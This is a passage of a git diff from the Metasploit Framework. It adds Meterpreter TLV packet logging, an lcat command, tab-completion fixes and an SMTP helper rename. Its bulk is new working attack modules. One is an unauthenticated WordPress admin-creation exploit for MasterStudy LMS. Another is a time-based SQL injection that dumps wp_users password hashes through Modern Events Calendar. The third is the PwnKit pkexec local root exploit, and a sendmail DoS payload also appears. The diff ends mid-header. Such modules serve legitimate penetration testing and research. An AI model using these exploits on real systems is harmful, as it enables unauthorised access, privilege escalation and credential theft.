TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH" - when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST" - when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER" - when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS" - when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL" - when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT" - when TLV_TYPE_MACHINE_ID; "MACHINE-ID" - when TLV_TYPE_UUID; "UUID" - when TLV_TYPE_SESSION_GUID; "SESSION-GUID" - when TLV_TYPE_RSA_PUB_KEY; "RSA-PUB-KEY" - when TLV_TYPE_SYM_KEY_TYPE; "SYM-KEY-TYPE" - when TLV_TYPE_SYM_KEY; "SYM-KEY" - when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY" - - when TLV_TYPE_PIVOT_ID; "PIVOT-ID" - when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA" - when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME" - - else; "unknown-#{type}" + when PACKET_TYPE_REQUEST; 'Request' + when PACKET_TYPE_RESPONSE; 'Response' + else; _tlv_type_string(type) end + val = value.inspect if val.length > 50 val = val[0,50] + ' ..."' end group ||= (self.class.to_s =~ /Packet/) if group + has_command_ids = type == PACKET_TYPE_RESPONSE && (self.method == COMMAND_ID_CORE_ENUMEXTCMD || self.method == COMMAND_ID_CORE_LOADLIB) + if has_command_ids + longest_command_id = self.get_tlvs(TLV_TYPE_UINT).map(&:value).max + longest_command_id_length = longest_command_id.to_s.length + end + tlvs_inspect = "tlvs=[\n" @tlvs.each { |t| - tlvs_inspect << " #{t.inspect}\n" + if t.type == TLV_TYPE_UINT && has_command_ids && longest_command_id_length + command_name = ::Rex::Post::Meterpreter::CommandMapper.get_command_name(t.value) + command_output = "command=#{command_name}>\n" + this_value_length = t.value.to_s.length + adjusted_command_name = command_output.rjust(command_output.length + longest_command_id_length - this_value_length) + tlvs_inspect << " #{t.inspect.gsub(/>$/, '')} " << adjusted_command_name + else + tlvs_inspect << " #{t.inspect}\n" + end } tlvs_inspect << "]" else diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 4ecf67e61b..df7b97b85d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -3,6 +3,7 @@ require 'rex/post/meterpreter/command_mapper' require 'rex/post/meterpreter/packet_response_waiter' require 'rex/exceptions' +require 'pathname' module Rex module Post @@ -130,8 +131,7 @@ module PacketDispatcher tlv_enc_key = opts[:tlv_enc_key] end - # Uncomment this line if you want to see outbound packets in the console. - # STDERR.puts("\n\e[1;31mSEND\e[0m: #{packet.inspect}\n") + log_packet(packet, :send) bytes = 0 raw = packet.to_r(session_guid, tlv_enc_key) @@ -579,8 +579,7 @@ module PacketDispatcher def dispatch_inbound_packet(packet) handled = false - # Uncomment this line if you want to see inbound packets in the console - # STDERR.puts("\n\e[1;32mRECV\e[0m: #{packet.inspect}\n") + log_packet(packet, :recv) # Update our last reply time self.last_checkin = ::Time.now @@ -634,11 +633,80 @@ module PacketDispatcher @inbound_handlers.delete(handler) end + def initialize_tlv_logging(opt) + self.tlv_logging_error_occured = false + self.tlv_log_file = nil + self.tlv_log_file_path = nil + self.tlv_log_output = :none + + if opt.casecmp?('console') || opt.casecmp?('true') + self.tlv_log_output = :console + elsif opt.start_with?('file:') + self.tlv_log_output = :file + self.tlv_log_file_path = opt.split('file:').last + end + end + protected attr_accessor :receiver_thread # :nodoc: attr_accessor :dispatcher_thread # :nodoc: attr_accessor :waiters # :nodoc: + + attr_accessor :tlv_log_output # :nodoc: + attr_accessor :tlv_log_file # :nodoc: + attr_accessor :tlv_log_file_path # :nodoc: + attr_accessor :tlv_logging_error_occured # :nodoc: + + def shutdown_tlv_logging + self.tlv_log_output = :none + self.tlv_log_file.close unless self.tlv_log_file.nil? + self.tlv_log_file = nil + self.tlv_log_file_path = nil + end + + def log_packet(packet, packet_type) + # if we previously failed to log, return + return if self.tlv_logging_error_occured || self.tlv_log_output == :none + + if self.tlv_log_output == :console + log_packet_to_console(packet, packet_type) + elsif self.tlv_log_output == :file + log_packet_to_file(packet, packet_type) + end + end + + def log_packet_to_console(packet, packet_type) + if packet_type == :send + print "\n%redSEND%clr: #{packet.inspect}\n" + elsif packet_type == :recv + print "\n%bluRECV%clr: #{packet.inspect}\n" + end + end + + def log_packet_to_file(packet, packet_type) + pathname = ::Pathname.new(self.tlv_log_file_path.split('file:').last) + + begin + if self.tlv_log_file.nil? || self.tlv_log_file.path != pathname.to_s + self.tlv_log_file.close unless self.tlv_log_file.nil? + + self.tlv_log_file = ::File.open(pathname, 'a+') + end + + if packet_type == :recv + self.tlv_log_file.puts("\nRECV: #{packet.inspect}\n") + elsif packet_type == :send + self.tlv_log_file.puts("\nSEND: #{packet.inspect}\n") + end + rescue ::StandardError => e + self.tlv_logging_error_occured = true + print_error "Failed writing to TLV Log File: #{pathname} with error: #{e.message}. Turning off logging for this session: #{self.inspect}..." + elog(e) + shutdown_tlv_logging + return + end + end end module HttpPacketDispatcher diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 6cd9bf01b6..4b106629c2 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -88,6 +88,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'edit' => 'Edit a file', 'getlwd' => 'Print local working directory', 'getwd' => 'Print working directory', + 'lcat' => 'Read the contents of a local file to the screen', 'lcd' => 'Change local working directory', 'lpwd' => 'Print local working directory', 'ls' => 'List files', @@ -114,6 +115,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'edit' => [], 'getlwd' => [], 'getwd' => [COMMAND_ID_STDAPI_FS_GETWD], + 'lcat' => [], 'lcd' => [], 'lpwd' => [], 'ls' => [COMMAND_ID_STDAPI_FS_STAT, COMMAND_ID_STDAPI_FS_LS], @@ -306,6 +308,43 @@ class Console::CommandDispatcher::Stdapi::Fs tab_complete_cfilenames(str, words) end + # + # Reads the contents of a local file and prints them to the screen. + # + def cmd_lcat(*args) + if (args.length == 0 || args.include?('-h') || args.include?('--help')) + print_line("Usage: lcat file") + return true + end + + path = args[0] + path = ::File.expand_path(path) if path =~ path_expand_regex + + + if (::File.stat(path).directory?) + print_error("#{path} is a directory") + else + fd = ::File.new(path, "rb") + begin + until fd.eof? + print(fd.read) + end + # EOFError is raised if file is empty, do nothing, just catch + rescue EOFError + end + fd.close + end + + true + end + + # + # Tab completion for the lcat command + # + def cmd_lcat_tabs(str, words) + tab_complete_filenames(str, words) + end + # # Change the working directory. # diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index 4280479acf..156d337b96 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -297,8 +297,26 @@ module DispatcherShell # Return a list of possible directory for tab completion. # def tab_complete_directory(str, words) - str = '.' + ::File::SEPARATOR if str.empty? - dirs = Dir.glob(str.concat('*'), File::FNM_CASEFOLD).select { |x| File.directory?(x) } + directory = str[-1] == File::SEPARATOR ? str : File.dirname(str) + filename = str[-1] == File::SEPARATOR ? '' : File.basename(str) + entries = Dir.entries(directory).select { |fp| fp.start_with?(filename) } + dirs = entries - ['.', '..'] + dirs = dirs.map { |fp| File.join(directory, fp).gsub(/\A\.\//, '') } + dirs = dirs.select { |x| File.directory?(x) } + dirs = dirs.map { |x| x + File::SEPARATOR } + if dirs.length == 1 && dirs[0] != str && dirs[0].end_with?(File::SEPARATOR) + # If Readline receives a single value from this function, it will assume we're done with the tab + # completing, and add an extra space at the end. + # This is annoying if we're recursively tab-traversing our way through subdirectories - + # we may want to continue traversing, but MSF will add a space, requiring us to back up to continue + # tab-completing our way through successive subdirectories. + ::Readline.completion_append_character = nil + end + + if dirs.length == 0 && File.directory?(str) + # we've hit the end of the road + dirs = [str] + end dirs end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 143feb6360..881e192366 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.75' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.77' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18' # Needed by msfgui and other rpc components diff --git a/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb b/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb new file mode 100644 index 0000000000..6f908401a3 --- /dev/null +++ b/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + require 'metasploit/framework/hashes/identify' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress MasterStudy Admin Account Creation', + 'Description' => %q{ + MasterStudy LMS, a WordPress plugin, + prior to 2.7.6 is affected by a privilege escalation where an unauthenticated + user is able to create an administrator account for wordpress itself. + }, + 'Author' => [ + 'h00die', # msf module + 'Numan Türle', # edb + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-0441'], + ['URL', 'https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6'], + ['EDB', '50752'], + ['WPVDB', '173c2efe-ee9c-4539-852f-c242b4f728ed'] + ], + 'DisclosureDate' => '2022-02-18', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [false, 'Username to register (blank will auto generate)', '']), + OptString.new('PASSWORD', [false, 'Password (blank will auto generate)', '']), + OptString.new('EMAIL', [false, 'Email to register (blank will auto generate)', '']) + ] + ) + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable') + end + + checkcode + end + + def get_username + datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME'] + end + + def get_password + datastore['PASSWORD'].blank? ? Rex::Text.rand_password : datastore['PASSWORD'] + end + + def get_email + datastore['EMAIL'].blank? ? Faker::Internet.email : datastore['EMAIL'] + end + + def run + username = get_username + password = get_password + email = get_email + res = send_request_cgi('uri' => normalize_uri(target_uri.path)) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200 + /"stm_lms_register":"(?\w{10})"/ =~ res.body + fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil? + + print_status("Attempting with username: #{username} password: #{password} email: #{email}") + json_post_data = JSON.pretty_generate({ + 'user_login' => username, + 'user_email' => email, + 'user_password' => password, + 'user_password_re' => password, + 'become_instructor' => '', + 'privacy_policy' => true, + 'degree' => '', + 'expertize' => '', + 'auditory' => '', + 'additional' => [], + 'additional_instructors' => [], + 'profile_default_fields_for_register' => { + 'wp_capabilities' => { + 'value' => { 'administrator' => 1 } + } + } + }) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'ctype' => 'application/json', + 'vars_get' => { + 'action' => 'stm_lms_register', + 'nonce' => nonce + }, + 'data' => json_post_data + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + results = res.get_json_document + if results['status'] == 'success' + print_good('Account Created Successfully') + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: username, + private_type: :password, + private_data: password, + service_name: 'Wordpress', + address: datastore['RHOST'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + else + print_error("Account Creation Failed: #{results['message']}") + end + end +end diff --git a/modules/auxiliary/dos/smtp/sendmail_prescan.rb b/modules/auxiliary/dos/smtp/sendmail_prescan.rb index fef094fe27..1496c2d575 100644 --- a/modules/auxiliary/dos/smtp/sendmail_prescan.rb +++ b/modules/auxiliary/dos/smtp/sendmail_prescan.rb @@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28 - raw_send_recv("EHLO X\r\n") - raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") + smtp_send_recv("EHLO X\r\n") + smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") print_status("Sending DoS packet.") - raw_send_recv("RCPT TO: #{sploit}\r\n") + smtp_send_recv("RCPT TO: #{sploit}\r\n") disconnect rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index bfed82ddbf..ceb05bb8ab 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -41,7 +41,15 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]), OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*']) - ]) + ] + ) + + # overwriting the default user-agent. Shodan is checking it and delivering a html response when using the default ua (see #16189 and #16223) + register_advanced_options( + [ + OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', 'Wget/1.21.2 (linux-gnu)' ]) + ] + ) deregister_http_client_options end diff --git a/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb b/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb new file mode 100644 index 0000000000..5d1741c6bd --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Exploit::SQLi + require 'metasploit/framework/hashes/identify' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Modern Events Calendar SQLi Scanner', + 'Description' => %q{ + Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in + versions before 6.1.5. The time parameter is vulnerable to injection. + }, + 'Author' => [ + 'h00die', # msf module + 'Hacker5preme (Ron Jost)', # edb + 'red0xff' # sqli lib assistance + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'EDB', '50687' ], + [ 'CVE', '2021-24946' ], + [ 'URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md' ], + [ 'WPVDB', '09871847-1d6a-4dfe-8a8c-f2f53ff87445' ] + ], + 'Actions' => [ + ['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'DefaultAction' => 'List Users', + 'DisclosureDate' => '2021-12-13' + ) + ) + register_options [ + OptInt.new('COUNT', [false, 'Number of users to enumerate', 1]) + ] + end + + def check_host(_ip) + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('modern-events-calendar-lite', '6.1.5') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('Modern Events Calendar version not vulnerable') + end + + print_good('Vulnerable version of Modern Events Calendar detected') + checkcode + end + + def run_host(ip) + @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer. + d = Rex::Text.rand_text_numeric(4) + # the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it. + payload = payload.gsub(/sleep\(\d+\.\d+\)/i, "sleep(#{datastore['SQLIDELAY'] / 2})") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'vars_get' => { + 'action' => 'mec_load_single_page', + # taken from sqlmap + 'time' => "#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}" + } + }) + fail_with Failure::Unreachable, 'Connection failed' unless res + end + unless @sqli.test_vulnerable + fail_with Failure::PayloadFailed, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay." + end + + columns = ['user_login', 'user_pass'] + results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT']) + table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns) + results.each do |user| + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: user[0], + private_type: :nonreplayable_hash, + jtr_format: identify_hash(user[1]), + private_data: user[1], + service_name: 'Wordpress', + address: ip, + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + table << user + end + print_good(table.to_s) + end +end diff --git a/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb b/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb index 7aa02945bc..b757a942b4 100644 --- a/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb @@ -49,19 +49,21 @@ class MetasploitModule < Msf::Auxiliary ] end - def run_host(ip) + def check_host(_ip) unless wordpress_and_online? - vprint_error('Server not online or not detected as wordpress') - return + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') end checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6') if checkcode == Msf::Exploit::CheckCode::Safe - vprint_error('RegistrationMagic version not vulnerable') - return + return Msf::Exploit::CheckCode::Safe('RegistrationMagic version not vulnerable') end - print_good('Vulnerable version of RegistrationMagic detected') + print_good('Vulnerable version of RegistrationMagic detected') + checkcode + end + + def run_host(ip) cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil? diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index 287316508f..8db19c6fb5 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary begin connect - res = raw_send_recv("EHLO X\r\n") + res = smtp_send_recv("EHLO X\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{mailfrom}\r\n") + res = smtp_send_recv("#{mailfrom}\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{mailto}\r\n") + res = smtp_send_recv("#{mailto}\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("DATA\r\n") + res = smtp_send_recv("DATA\r\n") vprint_status("#{res.inspect}") - res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") + res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n") vprint_status("#{res.inspect}") if res =~ /250/ diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb new file mode 100644 index 0000000000..a21583edc5 --- /dev/null +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -0,0 +1,254 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Local Privilege Escalation in polkits pkexec', + 'Description' => %q{ + A bug exists in the polkit pkexec binary in how it processes arguments. If + the binary is provided with no arguments, it will continue to process environment + variables as argument variables, but without any security checking. + By using the execve call we can specify a null argument list and populate the + proper environment variables. This exploit is architecture independent. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Qualys Security', # Original vulnerability discovery + 'Andris Raugulis', # Exploit writeup and PoC + 'Dhiraj Mishra', # Metasploit Module + 'bwatters-r7' # Metasploit Module + ], + 'DisclosureDate' => '2022-01-25', + 'Platform' => [ 'linux' ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ + 'x86_64', + { + 'Arch' => [ ARCH_X64 ] + } + ], + [ + 'x86', + { + 'Arch' => [ ARCH_X86 ] + } + ], + [ + 'aarch64', + { + 'Arch' => [ ARCH_AARCH64 ] + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PrependSetgid' => true, + 'PrependSetuid' => true + }, + 'Privileged' => true, + 'References' => [ + [ 'CVE', '2021-4034' ], + [ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ], + [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ], + [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference + [ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions + [ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK ] + } + ) + ) + register_options([ + OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ]) + ]) + register_advanced_options([ + OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]), + ]) + end + + def on_new_session(new_session) + # The directory the payload launches in gets deleted and breaks some commands + # unless we change into a directory that exists + super + old_session = @session + @session = new_session + cd(datastore['FinalDir']) + @session = old_session + end + + def find_pkexec + vprint_status('Locating pkexec...') + if exists?(pkexec = cmd_exec('which pkexec')) + vprint_status("Found pkexec here: #{pkexec}") + return pkexec + end + + return nil + end + + def check + # Is the arch supported? + arch = kernel_hardware + unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86') + return CheckCode::Safe("System architecture #{arch} is not supported") + end + + # check the binary + pkexec_path = datastore['PKEXEC_PATH'] + pkexec_path = find_pkexec if pkexec_path.empty? + return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil? + + # we don't use the reported version, but it can help with troubleshooting + version_output = cmd_exec("#{pkexec_path} --version") + version_array = version_output.split(' ') + if version_array.length > 2 + pkexec_version = Rex::Version.new(version_array[2]) + vprint_status("Found pkexec version #{pkexec_version}") + end + + return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path) + + # Grab the package version if we can to help troubleshoot + sysinfo = get_sysinfo + begin + if sysinfo[:distro] =~ /[dD]ebian/ + vprint_status('Determined host os is Debian') + package_data = cmd_exec('dpkg -s policykit-1') + pulled_version = package_data.scan(/Version:\s(.*)/)[0][0] + vprint_status("Polkit package version = #{pulled_version}") + end + if sysinfo[:distro] =~ /[uU]buntu/ + vprint_status('Determined host os is Ubuntu') + package_data = cmd_exec('dpkg -s policykit-1') + pulled_version = package_data.scan(/Version:\s(.*)/)[0][0] + vprint_status("Polkit package version = #{pulled_version}") + end + if sysinfo[:distro] =~ /[cC]entos/ + vprint_status('Determined host os is CentOS') + package_data = cmd_exec('rpm -qa | grep polkit') + vprint_status("Polkit package version = #{package_data}") + end + rescue StandardError => e + vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.") + end + + if sysinfo[:distro] =~ /[fF]edora/ + # Fedora should be supported, and it passes the check otherwise, but it just + # does not seem to work. I am not sure why. I have tried with SeLinux disabled. + return CheckCode::Safe('Fedora is not supported') + end + + # run the exploit in check mode if everything looks right + if run_exploit(true) + return CheckCode::Vulnerable + end + + return CheckCode::Safe('The target does not appear vulnerable') + end + + def find_exec_program + return 'python' if command_exists?('python') + return 'python3' if command_exists?('python3') + + return nil + end + + def run_exploit(check) + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + + arch = kernel_hardware + vprint_status("Detected architecture: #{arch}") + if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch')) + fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload') + end + + pkexec_path = datastore['PKEXEC_PATH'] + if pkexec_path.empty? + pkexec_path = find_pkexec + end + + python_binary = find_exec_program + + # Do we have the pkexec binary? + if pkexec_path.nil? + fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath' + end + + # Do we have the python binary? + if python_binary.nil? + fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath' + end + + unless writable? datastore['WRITABLE_DIR'] + fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable" + end + + local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}" + working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}" + mkdir(working_dir) + register_dir_for_cleanup(working_dir) + + random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s + random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s + @old_wd = pwd + cd(working_dir) + cmd_exec('mkdir -p GCONV_PATH=.') + cmd_exec("touch GCONV_PATH=./#{random_string_1}") + cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}") + cmd_exec("mkdir -p #{random_string_1}") + + payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so" + unless check + upload_and_chmodx(payload_file.to_s, generate_payload_dll) + register_file_for_cleanup(payload_file) + end + + exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + + write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py')) + register_file_for_cleanup(exploit_file) + + cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}" + print_warning("Verify cleanup of #{working_dir}") + vprint_status("Running #{cmd}") + output = cmd_exec(cmd) + + # Return to the old working directory before we delete working_directory + cd(@old_wd) + cmd_exec("rm -rf #{working_dir}") + vprint_status(output) unless output.empty? + # Return proper value if we are using exploit-as-a-check + if check + return false if output.include?('pkexec --version') + + return true + end + end + + def exploit + run_exploit(false) + end +end diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index caa972d00e..832904dd77 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote end ehlo = datastore['EHLO'] - ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("#{rhost}:#{rport} - EHLO: #{line.strip}") end @@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote from << "@#{ehlo}" to = datastore['MAILTO'] - resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp = smtp_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - #{msg}") end - resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp = smtp_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' @@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - #{msg}") end - resp = raw_send_recv("DATA\r\n") + resp = smtp_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote message << "\r\n" message << ".\r\n" - resp = raw_send_recv(message) + resp = smtp_send_recv(message) msg = "DELIVER: #{resp.strip}" if not resp or resp[0,3] != '250' fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}") diff --git a/modules/exploits/multi/browser/chrome_array_map.rb 